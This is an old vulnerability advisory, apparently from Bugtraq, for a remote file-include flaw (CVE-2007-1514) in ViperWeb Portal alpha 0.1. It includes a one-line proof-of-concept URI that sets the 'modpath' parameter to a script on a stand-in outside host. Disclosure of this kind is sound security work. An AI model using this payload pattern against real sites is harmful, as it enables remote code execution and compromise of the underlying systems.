Viper Web Portal Index.PHP Remote File Include Vulnerability

Bugtraq ID:	22979
Class:	Input Validation Error
CVE:	CVE-2007-1514
Remote:	Yes
Local:	No
Published:	Mar 15 2007 12:00AM
Updated:	May 07 2015 06:01PM
Credit:	Abdus Samad is credited with the discovery of this vulnerability.
Vulnerable:	ViperWeb Portal alpha 0.1
Not Vulnerable:

Viper Web Portal Index.PHP Remote File Include Vulnerability

Viper Web Portal is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Viper Web Portal Index.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/index.php?modpath=http://www.example2.com/evilscript?

Viper Web Portal Index.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Viper Web Portal Index.PHP Remote File Include Vulnerability

References:

• ViperWeb Portal Homepage (ViperWeb)
  
• Remote File Inclusion in ViperWeb ([email protected])